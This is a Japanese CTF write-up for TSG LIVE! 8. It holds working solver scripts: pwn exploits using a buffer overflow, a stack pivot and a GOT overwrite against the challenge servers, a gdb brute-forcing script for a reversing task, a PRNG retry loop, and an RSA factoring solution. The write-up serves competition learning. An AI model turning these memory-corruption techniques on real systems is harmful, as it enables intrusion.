TSG LIVE! 8 CTFのWriteup

2022-5-14 14:29:47 Author: ptr-yudai.hatenablog.com 阅读量:12 收藏

本家yoshikingが参加していたのを横目に見ていたので、その様子をお届けします。

BOFです。

from ptrlib import *

elf = ELF("./chall")

sock = Socket("nc chall.live.ctf.tsg.ne.jp 30006")

payload = b"A"*0x20
payload += p64(0x13371337)
payload += p64(elf.symbol("win"))
sock.sendlineafter(":)\n", payload)

rbpと任意の値をxorできる上、関数の終端にleave命令があるのでstack pivotします。

from ptrlib import *

elf = ELF("./chall")

sock = Socket("nc chall.live.ctf.tsg.ne.jp 30007")

payload  = str(0x60).encode()
payload += b'\x00' * (8 - len(payload))
payload += p64(elf.symbol("win"))
sock.sendlineafter(":)\n", payload)

sock.sh()

rspに任意の値を代入できます。 知っているアドレスはプロセスの中だけなので、ひとまずbssあたりに向けるとどう頑張ってもprintfがスタックを消費しすぎて死にます。 printfまでにすべてを終わらせる必要があるので、GOTを書き換えることが分かります。 [email protected]+8にrspを向けると、関数呼び出しでリターンアドレスが[email protected]に入るので、rbpがrspに変化した状態で元の関数に戻れます。 つまり、rbpがGOT周辺を指しており、この後のreadでGOT overwriteできます。

from ptrlib import *
import time

elf = ELF("./chall")

sock = Socket("nc chall.live.ctf.tsg.ne.jp 30010")

fake_rsp = elf.got("rand") + 8
payload = str(fake_rsp)
sock.sendafter("hello\n", payload)

time.sleep(0.5)
payload = p64(elf.symbol("win"))
sock.send(payload)

sock.sh()

まじめにバイナリを読むと、大量にある関数はどれもpushf命令などを使って状態を保存・復元しており、1命令ずつ別々の関数にばらまかれていることが分かります。 objdumpからそれらのばらまかれた命令に「集まれ〜!」と呼びかけると、通常のプログラムっぽいアセンブリコードが出来上がります。 割と複雑そうな処理をしていたので、比較部分を見るとエンコードしたフラグと結果を比較するcmp命令が2つありました。

各箇所にブレークポイントを設置すると、フラグの1バイトごとにどちらかにヒットすることが分かったので、ここで正しい結果になるように1文字ずつ総当りします。 (あー!詳解セキュリティコンテスト 〜CTFで学ぶ脆弱性攻略の技術〜のReversingの章でやったところだ〜!)

import gdb
import string

gdb.execute("set pagination off")
gdb.execute("b *0x0000555555401804")
gdb.execute("b *0x0000555555401311")

flag = ""
while True:
    for c in string.printable:
        print(c)
        with open("flag", "w") as f:
            f.write(flag + c)
        gdb.execute("r < flag")
        for i in flag:
            gdb.execute("continue")
        al = gdb.execute("p $al", to_string=True).strip().split("= ")[1]
        cl = gdb.execute("p $cl", to_string=True).strip().split("= ")[1]
        if al == cl:
            flag += c
            print("FLAG:", flag)
            break

これを回して放置していると、いつの間にかフラグが手に入っていました。

例年revをangrで解く人がいるそうなので、次回からはangrが停止するコードを入れてあげてください。

PRNGですが、何回か動かしていたら同じ数字しか出ないことがあったので、それを当てにいっていました。

from ptrlib import *

while True:
    sock = Socket("nc chall.live.ctf.tsg.ne.jp 61234")

    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", "0")
    v1 = int(sock.recvlineafter("Result: "))
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", "0")
    v2 = int(sock.recvlineafter("Result: "))
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", "0")
    v3 = int(sock.recvlineafter("Result: "))
    if v1 == v2 == v3:
        print("HIT!", v1, v2, v3)
        break

    sock.close()

sock.sh()

あとはヒットした数字でBETを最大にしてお金を増やせばフラグが手に入ります。

算数をすると、2次方程式に帰着します。この手の問題の作問は無限回してきたのですが、頭の中で式変形しながらコードを書いていたら、解の公式の分母に括弧を付け忘れて死亡しました。

from ptrlib import inverse
import gmpy2

N1 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831
N2 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683
y1 = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340
y2 = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323

x = N2 - N1
for d1 in range(1, 2000):
    for d2 in range(1, 2000):
        v = x - d1*d2
        try:
            q = (v + gmpy2.isqrt(v*v - 4*d2*d1*N1)) // (2*d1)
            if N1 % q == 0:
                p, q = q, N1//q
                phi1 = (p-1)*(q-1)
                phi2 = (p+d2-1)*(q+d1-1)
                d1 = inverse(0x10001, phi1)
                d2 = inverse(0x10001, phi2)
                m1 = pow(y1, d1, N1)
                m2 = pow(y2, d2, N2)
                print(int.to_bytes(int(m1), 22, "big"))
                print(int.to_bytes(int(m2), 22, "big"))
                exit()
        except Exception as e:
            continue

こういう問題作るのも解くのも簡単で、でも自明とは言われないので好きです。

すぐ終わるけど自明じゃないCTFなので世界一好きなCTFです。

他の問題に比べてpwnの数が少ないと感じたのは、私だけでしょうか? :考える人:

もう少しむずかしいのpwnをあと3問(400pts, 500pts, 600pts)くらい欲しかったです。(安全勝ちするという強い意志) Kernel Exploitとか2問くらい出してくれていいので :pray: